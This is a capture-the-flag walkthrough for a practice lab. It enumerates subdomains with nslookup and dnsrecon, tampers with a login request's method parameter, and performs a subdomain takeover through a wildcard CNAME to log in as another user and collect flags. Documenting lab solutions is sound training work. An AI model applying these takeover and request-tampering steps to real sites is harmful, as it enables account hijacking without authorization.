❯nslookup-type=anyvulnforum.co.uk8.8.8.8Server:8.8.8.8Address:8.8.8.8#53Non-authoritativeanswer:Name:vulnforum.co.ukAddress:68.183.255.206vulnforum.co.uknameserver=ns1.digitalocean.com.vulnforum.co.uknameserver=ns2.digitalocean.com.vulnforum.co.uknameserver=ns3.digitalocean.com.vulnforum.co.ukorigin=ns1.digitalocean.commailaddr=hostmaster.vulnforum.co.ukserial=1626253208refresh=10800retry=3600expire=604800minimum=1800Authoritativeanswerscanbefoundfrom:❯dnsrecon-dvulnforum.co.uk-D~/Dokumente/ctfchallenge/wordlists/subdomains.txt-tbrt[*] Performing host and subdomain brute force against vulnforum.co.uk[*] A www.vulnforum.co.uk 68.183.255.206[+] 1 Records Found
We open our browsers dev console and try to login using some credentials. It doesn't work but we copy the login also curl command to check it out. Change --data-raw 'username=toby&password=toby&method=local' to --data-raw 'username=toby&password=toby&method=remote'
❯dnsrecon-dnqorl3vm.auth.vulnforum.co.uk[*] Performing General Enumeration of Domain: nqorl3vm.auth.vulnforum.co.uk[!] Wildcard resolution is enabled on this domain[!] It is resolving to vulnauth.co.uk[!] All queries will resolve to this address!![-] AllnameserversfailedtoanswertheDNSSECqueryfornqorl3vm.auth.vulnforum.co.uk[*] SOA ns1.digitalocean.com 173.245.58.51[*] NS ns1.digitalocean.com 173.245.58.51[*] Bind Version for173.245.58.51 b'Salt-master'[*] NS ns1.digitalocean.com 2400:cb00:2049:1::adf5:3a33[*] NS ns3.digitalocean.com 198.41.222.173[*] Bind Version for198.41.222.173 b'Salt-master'[*] NS ns3.digitalocean.com 2400:cb00:2049:1::c629:dead[*] NS ns2.digitalocean.com 173.245.59.41[*] Bind Version for173.245.59.41 b'Salt-master'[*] NS ns2.digitalocean.com 2400:cb00:2049:1::adf5:3b29[-] Could not Resolve MX Records for nqorl3vm.auth.vulnforum.co.uk[*] CNAME nqorl3vm.auth.vulnforum.co.uk vulnauth.co.uk[*] A vulnauth.co.uk 68.183.255.206[*] Enumerating SRV Records[-] No SRV Records Found for nqorl3vm.auth.vulnforum.co.uk[+] 0 Records Found
We found yet another new domain: vulnauth.co.uk Let's verify if it's live
❯curl-L-ik-H"Cookie: ctfchallenge=CENSORED"http://vulnauth.co.ukHTTP/1.1200OKserver:nginx/1.21.1date:Fri,13May202214:16:44GMTcontent-type:text/html; charset=UTF-8set-cookie:ctfchallenge=CENSORED; Max-Age=2592000; Path=/; domain=.vulnauth.co.uktransfer-encoding:chunked<!DOCTYPEhtml><html lang="en"><head><metacharset="utf-8"><metahttp-equiv="X-UA-Compatible"content="IE=edge"><metaname="viewport"content="width=device-width, initial-scale=1"><title>VulnAuth-AuthorisationProvider</title><linkhref="/css/bootstrap.min.css"rel="stylesheet"></head><body><div class="container"><divstyle="text-align: center"><h1>VulnAuth</h1><h4>UserAuthentication</h4><imgsrc="/images/logo.jpg"></div><divclass="row"style="margin-top:20px"><divclass="col-md-5 col-md-offset-1"><h3>WhatisVulnAuth?</h3><p>VulnAuthisawhitelabelsolutiontoallyouruserauthenticationneeds.</p><p>Wehandleyouruserloginstoyoudon't need to store any passwords on your systems.</p> <p>You can even use your existing domain name just by setting up a CNAME record to vulnauth.co.uk for example <strong>auth.yourdomain.com</strong></p> <p><strong>[^FLAG^A959EBEC1D9A02A456FC5BCCF7BA8D91^FLAG^]</strong></p> </div>
We found another flag!
Subdomain Takeover
We previously found http://nqorl3vm.auth.vulnforum.co.uk/auth which tells us "Invalid Domain" when visiting the page. With the infos we gathered in our previous step it's a good idea to try to register that domain :)
Visit: http://nqorl3vm.auth.vulnforum.co.uk (You should be greeted with a login page) Create a new User using the UUID we've discovered previously (1ac9c036aaf12a755084dc6a326ed7f5)
Unfortunately we aren't able to login on the webpage itself due to the "method=local" that is hardcoded. Lets use the cookie we've generated earlier and import it in our browser
Great! We're logged in as toby and find another flag [^FLAG^3B1A170C3033B788FEB1B1A4E45D62CD^FLAG^]